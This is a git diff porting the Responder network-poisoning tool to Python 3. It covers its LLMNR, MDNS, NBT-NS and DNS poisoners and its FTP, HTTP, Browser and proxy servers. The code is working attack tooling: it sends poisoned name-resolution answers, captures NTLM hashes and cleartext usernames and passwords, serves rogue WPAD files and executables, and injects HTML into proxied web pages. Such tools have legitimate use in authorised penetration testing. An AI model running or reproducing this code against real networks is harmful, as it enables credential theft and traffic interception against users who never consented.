(sys.version_info > (3, 0)): + return data[13:13+NameLen] + else: + NameLen2 = int(codecs.encode(NameLen, 'hex'), 16) + return data[13:13+int(NameLen2)] def IsICMPRedirectPlausible(IP): dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - elif ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - for x in dnsip: - if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: - print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) - print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) - print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + with open('/etc/resolv.conf', 'r') as file: + for line in file: + ip = line.split() + if len(ip) < 2: + continue + elif ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + for x in dnsip: + if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: + print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)) + print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)) + print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)) if settings.Config.AnalyzeMode: IsICMPRedirectPlausible(settings.Config.Bind_To) @@ -47,39 +57,40 @@ if settings.Config.AnalyzeMode: class LLMNR(BaseRequestHandler): # LLMNR Server class def handle(self): - data, soc = self.request - Name = Parse_LLMNR_Name(data) - - # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: - return None - - if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): - Finger = None - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) - - if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: LLMNR]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) - SavePoisonersToDb({ - 'Poisoner': 'LLMNR', - 'SentToIp': self.client_address[0], - 'ForName': Name, - 'AnalyzeMode': '1', - }) - else: # Poisoning Mode - Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) - Buffer.calculate() - soc.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [LLMNR]" - print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) - SavePoisonersToDb({ - 'Poisoner': 'LLMNR', - 'SentToIp': self.client_address[0], - 'ForName': Name, - 'AnalyzeMode': '0', - }) - if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + try: + data, soc = self.request + Name = Parse_LLMNR_Name(data).decode("latin-1") + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data): + Finger = None + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: LLMNR]" + print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'LLMNR', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '1', + }) + else: # Poisoning Mode + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'LLMNR', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '0', + }) + if Finger is not None: + print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) + print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) + except: + raise diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index 6fdc537..dfb80ae 100644 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -15,25 +15,38 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct - -from SocketServer import BaseRequestHandler +import sys +if (sys.version_info > (3, 0)): + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler from packets import MDNS_Ans from utils import * def Parse_MDNS_Name(data): try: - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ + if (sys.version_info > (3, 0)): + data = data[12:] + NameLen = data[0] + Name = data[1:1+NameLen] + NameLen_ = data[1+NameLen] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + FinalName = Name+b'.'+Name_ + return FinalName.decode("latin-1") + else: + data = NetworkRecvBufferPython2or3(data[12:]) + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ + except IndexError: return None def Poisoned_MDNS_Name(data): - data = data[12:] + data = NetworkRecvBufferPython2or3(data[12:]) return data[:len(data)-5] class MDNS(BaseRequestHandler): @@ -50,25 +63,25 @@ class MDNS(BaseRequestHandler): if settings.Config.AnalyzeMode: # Analyze Mode if Parse_IPV6_Addr(data): - print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) - SavePoisonersToDb({ - 'Poisoner': 'MDNS', - 'SentToIp': self.client_address[0], - 'ForName': Request_Name, - 'AnalyzeMode': '1', - }) + print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '1', + }) else: # Poisoning Mode if Parse_IPV6_Addr(data): Poisoned_Name = Poisoned_MDNS_Name(data) Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) Buffer.calculate() - soc.sendto(str(Buffer), (MADDR, MPORT)) + soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT)) - print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) - SavePoisonersToDb({ - 'Poisoner': 'MDNS', - 'SentToIp': self.client_address[0], - 'ForName': Request_Name, - 'AnalyzeMode': '0', - }) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '0', + }) diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index d500a80..5000e81 100644 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -15,22 +15,27 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import fingerprint - +import sys from packets import NBT_Ans -from SocketServer import BaseRequestHandler from utils import * +if (sys.version_info > (3, 0)): + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + # Define what are we answering to. def Validate_NBT_NS(data): + print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46])) if settings.Config.AnalyzeMode: return False - elif NBT_NS_Role(data[43:46]) == "File Server": + elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server": return True elif settings.Config.NBTNSDomain: - if NBT_NS_Role(data[43:46]) == "Domain Controller": + if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller": return True elif settings.Config.Wredirect: - if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": + if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector": return True return False @@ -40,41 +45,38 @@ class NBTNS(BaseRequestHandler): def handle(self): data, socket = self.request - Name = Decode_Name(data[13:45]) - + Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) # Break out if we don't want to respond to this host if RespondToThisHost(self.client_address[0], Name) is not True: return None - if data[2:4] == "\x01\x10": + if data[2:4] == b'\x01\x10': Finger = None if settings.Config.Finger_On_Off: Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) if settings.Config.AnalyzeMode: # Analyze Mode LineHeader = "[Analyze mode: NBT-NS]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) - SavePoisonersToDb({ - 'Poisoner': 'NBT-NS', - 'SentToIp': self.client_address[0], - 'ForName': Name, - 'AnalyzeMode': '1', - }) + print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'NBT-NS', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '1', + }) else: # Poisoning Mode - Buffer = NBT_Ans() - Buffer.calculate(data) - socket.sendto(str(Buffer), self.client_address) + Buffer1 = NBT_Ans() + Buffer1.calculate(data) + socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) LineHeader = "[*] [NBT-NS]" - - print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) - - SavePoisonersToDb({ - 'Poisoner': 'NBT-NS', - 'SentToIp': self.client_address[0], - 'ForName': Name, - 'AnalyzeMode': '0', - }) + print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'NBT-NS', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '0', + }) if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) + print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) diff --git a/servers/Browser.py b/servers/Browser.py index 0d8a396..782eaf6 100644 --- a/servers/Browser.py +++ b/servers/Browser.py @@ -14,40 +14,43 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData -from SocketServer import BaseRequestHandler from utils import * +from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler import struct def WorkstationFingerPrint(data): return { - "\x04\x00" :"Windows 95", - "\x04\x0A" :"Windows 98", - "\x04\x5A" :"Windows ME", - "\x05\x00" :"Windows 2000", - "\x05\x01" :"Windows XP", - "\x05\x02" :"Windows XP(64-Bit)/Windows 2003", - "\x06\x00" :"Windows Vista/Server 2008", - "\x06\x01" :"Windows 7/Server 2008R2", - "\x06\x02" :"Windows 8/Server 2012", - "\x06\x03" :"Windows 8.1/Server 2012R2", - "\x0A\x00" :"Windows 10/Server 2016", + b"\x04\x00" :"Windows 95", + b"\x04\x0A" :"Windows 98", + b"\x04\x5A" :"Windows ME", + b"\x05\x00" :"Windows 2000", + b"\x05\x01" :"Windows XP", + b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", + b"\x06\x00" :"Windows Vista/Server 2008", + b"\x06\x01" :"Windows 7/Server 2008R2", + b"\x06\x02" :"Windows 8/Server 2012", + b"\x06\x03" :"Windows 8.1/Server 2012R2", + b"\x0A\x00" :"Windows 10/Server 2016", }.get(data, 'Unknown') def RequestType(data): return { - "\x01": 'Host Announcement', - "\x02": 'Request Announcement', - "\x08": 'Browser Election', - "\x09": 'Get Backup List Request', - "\x0a": 'Get Backup List Response', - "\x0b": 'Become Backup Browser', - "\x0c": 'Domain/Workgroup Announcement', - "\x0d": 'Master Announcement', - "\x0e": 'Reset Browser State Announcement', - "\x0f": 'Local Master Announcement', + b"\x01": 'Host Announcement', + b"\x02": 'Request Announcement', + b"\x08": 'Browser Election', + b"\x09": 'Get Backup List Request', + b"\x0a": 'Get Backup List Response', + b"\x0b": 'Become Backup Browser', + b"\x0c": 'Domain/Workgroup Announcement', + b"\x0d": 'Master Announcement', + b"\x0e": 'Reset Browser State Announcement', + b"\x0f": 'Local Master Announcement', }.get(data, 'Unknown') @@ -55,13 +58,13 @@ def PrintServerName(data, entries): if entries <= 0: return None entrieslen = 26 * entries - chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries + chunks, chunk_size = len(data[:entrieslen]), entrieslen//entries ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] l = [] for x in ServerName: fingerprint = WorkstationFingerPrint(x[16:18]) - name = x[:16].replace('\x00', '') + name = x[:16].strip(b'\x00').decode('latin-1') l.append('%s (%s)' % (name, fingerprint)) return l @@ -70,24 +73,24 @@ def ParsePacket(Payload): PayloadOffset = struct.unpack('i", len(''.join(Packet))) + Packet + Buffer = StructPython2or3('>i', str(Packet))+str(Packet)#struct.pack(">i", len(''.join(Packet))) + Packet - s.send(Buffer) + s.send(NetworkSendBufferPython2or3(Buffer)) data = s.recv(1024) # Session Setup AndX Request, Anonymous. - if data[8:10] == "\x72\x00": + if data[8:10] == b'\x72\x00': Header = SMBHeader(cmd="\x73",mid="\x02\x00") Body = SMBSessionData() Body.calculate() Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) - s.send(Buffer) + s.send(NetworkSendBufferPython2or3(Buffer)) data = s.recv(1024) # Tree Connect IPC$. - if data[8:10] == "\x73\x00": - Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") + if data[8:10] == b'\x73\x00': + Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34].decode('latin-1'),mid="\x03\x00") Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") Body.calculate() Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) - s.send(Buffer) + s.send(NetworkSendBufferPython2or3(Buffer)) data = s.recv(1024) # Rap ServerEnum. - if data[8:10] == "\x75\x00": - Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") + if data[8:10] == b'\x75\x00': + Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x04\x00") Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) Body.calculate() Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) - s.send(Buffer) + s.send(NetworkSendBufferPython2or3(Buffer)) data = s.recv(64736) # Rap ServerEnum, Get answer and return what we're looking for. - if data[8:10] == "\x25\x00": + if data[8:10] == b'\x25\x00': s.close() return ParsePacket(data) except: @@ -162,8 +165,10 @@ def BecomeBackup(data,Client): Role = NBT_NS_Role(data[45:48]) if settings.Config.AnalyzeMode: - print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)) - print RAPThisDomain(Client, Domain) + print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))) + RAPInfo = RAPThisDomain(Client, Domain) + if RAPInfo is not None: + print(RAPInfo) except: pass @@ -177,8 +182,10 @@ def ParseDatagramNBTNames(data,Client): if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: - print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)) - print RAPThisDomain(Client, Domain) + print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))) + RAPInfo = RAPThisDomain(Client, Domain) + if RAPInfo is not None: + print(RAPInfo) except: pass @@ -189,7 +196,7 @@ class Browser(BaseRequestHandler): request, socket = self.request if settings.Config.AnalyzeMode: - ParseDatagramNBTNames(request,self.client_address[0]) + ParseDatagramNBTNames(NetworkRecvBufferPython2or3(request),self.client_address[0]) BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0]) diff --git a/servers/DNS.py b/servers/DNS.py index e4093b8..c9de9c0 100644 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -14,9 +14,12 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -from packets import DNS_Ans -from SocketServer import BaseRequestHandler from utils import * +from packets import DNS_Ans +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] @@ -34,14 +37,12 @@ class DNS(BaseRequestHandler): try: data, soc = self.request - - if ParseDNSType(data) and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False: buff = DNS_Ans() - buff.calculate(data) - soc.sendto(str(buff), self.client_address) - - ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass @@ -55,14 +56,12 @@ class DNSTCP(BaseRequestHandler): try: data = self.request.recv(1024) - - if ParseDNSType(data) and settings.Config.AnalyzeMode is False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False: buff = DNS_Ans() - buff.calculate(data) - self.request.send(str(buff)) - + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) + print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass diff --git a/servers/FTP.py b/servers/FTP.py index d2f50a2..22b8f09 100644 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -15,27 +15,31 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -from SocketServer import BaseRequestHandler +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + from packets import FTPPacket class FTP(BaseRequestHandler): def handle(self): try: - self.request.send(str(FTPPacket())) + self.request.send(NetworkSendBufferPython2or3(FTPPacket())) data = self.request.recv(1024) - if data[0:4] == "USER": - User = data[5:].strip() + if data[0:4] == b'USER': + User = data[5:].strip().decode("latin-1") Packet = FTPPacket(Code="331",Message="User name okay, need password.") - self.request.send(str(Packet)) + self.request.send(NetworkSendBufferPython2or3(Packet)) data = self.request.recv(1024) - if data[0:4] == "PASS": - Pass = data[5:].strip() + if data[0:4] == b'PASS': + Pass = data[5:].strip().decode("latin-1") Packet = FTPPacket(Code="530",Message="User not logged in.") - self.request.send(str(Packet)) + self.request.send(NetworkSendBufferPython2or3(Packet)) data = self.request.recv(1024) SaveToDb({ @@ -49,7 +53,7 @@ class FTP(BaseRequestHandler): else: Packet = FTPPacket(Code="502",Message="Command not implemented.") - self.request.send(str(Packet)) + self.request.send(NetworkSendBufferPython2or3(Packet)) data = self.request.recv(1024) except Exception: diff --git a/servers/HTTP.py b/servers/HTTP.py index 2d553a1..7f18452 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -15,10 +15,13 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from SocketServer import BaseRequestHandler, StreamRequestHandler -from base64 import b64decode +import codecs from utils import * - +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler, StreamRequestHandler +else: + from SocketServer import BaseRequestHandler, StreamRequestHandler +from base64 import b64decode, b64encode from packets import NTLM_Challenge from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer from packets import WPADScript, ServeExeFile, ServeHtmlFile @@ -28,28 +31,29 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile def ParseHTTPHash(data, Challenge, client, module): LMhashLen = struct.unpack(' 1 and settings.Config.Verbose: - print text("[HTTP] Cookie : %s " % Cookie) + print(text("[HTTP] Cookie : %s " % Cookie)) return Cookie return False @@ -89,7 +92,7 @@ def GrabHost(data, host): if Host: Host = Host.group(0).replace('Host: ', '') if settings.Config.Verbose: - print text("[HTTP] Host : %s " % color(Host, 3)) + print(text("[HTTP] Host : %s " % color(Host, 3))) return Host return False @@ -99,21 +102,21 @@ def GrabReferer(data, host): if Referer: Referer = Referer.group(0).replace('Referer: ', '') if settings.Config.Verbose: - print text("[HTTP] Referer : %s " % color(Referer, 3)) + print(text("[HTTP] Referer : %s " % color(Referer, 3))) return Referer return False def SpotFirefox(data): UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) if UserAgent: - print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)) - IsFirefox = re.search('Firefox', UserAgent[0]) - if IsFirefox: - print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1) - print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1) - return True - else: - return False + print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))) + IsFirefox = re.search('Firefox', UserAgent[0]) + if IsFirefox: + print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)) + print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)) + return True + else: + return False def WpadCustom(data, client): Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) @@ -155,7 +158,7 @@ def RespondWithFile(client, filename, dlname=None): Buffer = ServeHtmlFile(Payload = ServeFile(filename)) Buffer.calculate() - print text("[HTTP] Sending file %s to %s" % (filename, client)) + print(text("[HTTP] Sending file %s to %s" % (filename, client))) return str(Buffer) def GrabURL(data, host): @@ -164,13 +167,13 @@ def GrabURL(data, host): POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) if GET and settings.Config.Verbose: - print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) + print(text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))) if POST and settings.Config.Verbose: - print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) + print(text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))) if len(''.join(POSTDATA)) > 2: - print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) + print(text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())) # Handle HTTP packet sequence. def PacketSequence(data, client, Challenge): @@ -187,40 +190,40 @@ def PacketSequence(data, client, Challenge): WPAD_Custom = WpadCustom(data, client) # Webdav - if ServeOPTIONS(data): - return ServeOPTIONS(data) + if ServeOPTIONS(data): + return ServeOPTIONS(data) if NTLM_Auth: Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] - if Packet_NTLM == "\x01": + if Packet_NTLM == b'\x01': GrabURL(data, client) GrabReferer(data, client) GrabHost(data, client) GrabCookie(data, client) - Buffer = NTLM_Challenge(ServerChallenge=Challenge) + Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer.calculate() - Buffer_Ans = IIS_NTLM_Challenge_Ans() - Buffer_Ans.calculate(str(Buffer)) - return str(Buffer_Ans) + Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) + #Buffer_Ans.calculate(Buffer) + return Buffer_Ans - if Packet_NTLM == "\x03": + if Packet_NTLM == b'\x03': NTLM_Auth = b64decode(''.join(NTLM_Auth)) - if IsWebDAV(data): + if IsWebDAV(data): module = "WebDAV" - else: + else: module = "HTTP" ParseHTTPHash(NTLM_Auth, Challenge, client, module) if settings.Config.Force_WPAD_Auth and WPAD_Custom: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + print(text("[HTTP] WPAD (auth) file sent to %s" % client)) return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() - return str(Buffer) + return NetworkSendBufferPython2or3(Buffer) elif Basic_Auth: ClearText_Auth = b64decode(''.join(Basic_Auth)) @@ -234,31 +237,31 @@ def PacketSequence(data, client, Challenge): 'module': 'HTTP', 'type': 'Basic', 'client': client, - 'user': ClearText_Auth.split(':')[0], - 'cleartext': ClearText_Auth.split(':')[1], - }) + 'user': ClearText_Auth.decode('latin-1').split(':')[0], + 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1], + }) if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Verbose: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + print(text("[HTTP] WPAD (auth) file sent to %s" % client)) return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() - return str(Buffer) + return NetworkSendBufferPython2or3(Buffer) else: if settings.Config.Basic: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: - print text("[HTTP] Sending BASIC authentication request to %s" % client) + print(text("[HTTP] Sending BASIC authentication request to %s" % client)) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: - print text("[HTTP] Sending NTLM authentication request to %s" % client) + print(text("[HTTP] Sending NTLM authentication request to %s" % client)) - return str(Response) + return Response # HTTP Server class class HTTP(BaseRequestHandler): @@ -266,14 +269,13 @@ class HTTP(BaseRequestHandler): def handle(self): try: Challenge = RandomChallenge() - while True: self.request.settimeout(3) remaining = 10*1024*1024 #setting max recieve size data = '' while True: buff = '' - buff = self.request.recv(8092) + buff = NetworkRecvBufferPython2or3(self.request.recv(8092)) if buff == '': break data += buff @@ -298,14 +300,14 @@ class HTTP(BaseRequestHandler): Buffer = WpadCustom(data, self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.close() if settings.Config.Verbose: - print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])) else: Buffer = PacketSequence(data,self.client_address[0], Challenge) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) except socket.error: pass diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py index 0a71f2f..76402c1 100644 --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -14,13 +14,18 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import urlparse +from utils import * +if settings.Config.PY2OR3 is "PY3": + import urllib.parse as urlparse + import http.server as BaseHTTPServer +else: + import urlparse + import BaseHTTPServer + import select import zlib -import BaseHTTPServer - from servers.HTTP import RespondWithFile -from utils import * + IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ] @@ -34,9 +39,9 @@ def InjectData(data, client, req_uri): if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'): return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri)) - if len(data.split('\r\n\r\n')) > 1: + if len(data.split(b'\r\n\r\n')) > 1: try: - Headers, Content = data.split('\r\n\r\n') + Headers, Content = data.split(b'\r\n\r\n') except: return data @@ -44,30 +49,34 @@ def InjectData(data, client, req_uri): if set(RedirectCodes) & set(Headers): return data - if "content-encoding: gzip" in Headers.lower(): + Len = b''.join(re.findall(b'(?<=Content-Length: )[^\r\n]*', Headers)) + + if b'content-encoding: gzip' in Headers.lower(): Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) - if "content-type: text/html" in Headers.lower(): + if b'content-type: text/html' in Headers.lower(): if settings.Config.Serve_Html: # Serve the custom HTML if needed return RespondWithFile(client, settings.Config.Html_Filename) - Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers)) - HasBody = re.findall(r'(]*>)', Content, re.IGNORECASE) + + HasBody = re.findall(b'(]*>)', Content, re.IGNORECASE) if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'): if settings.Config.Verbose: - print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) + 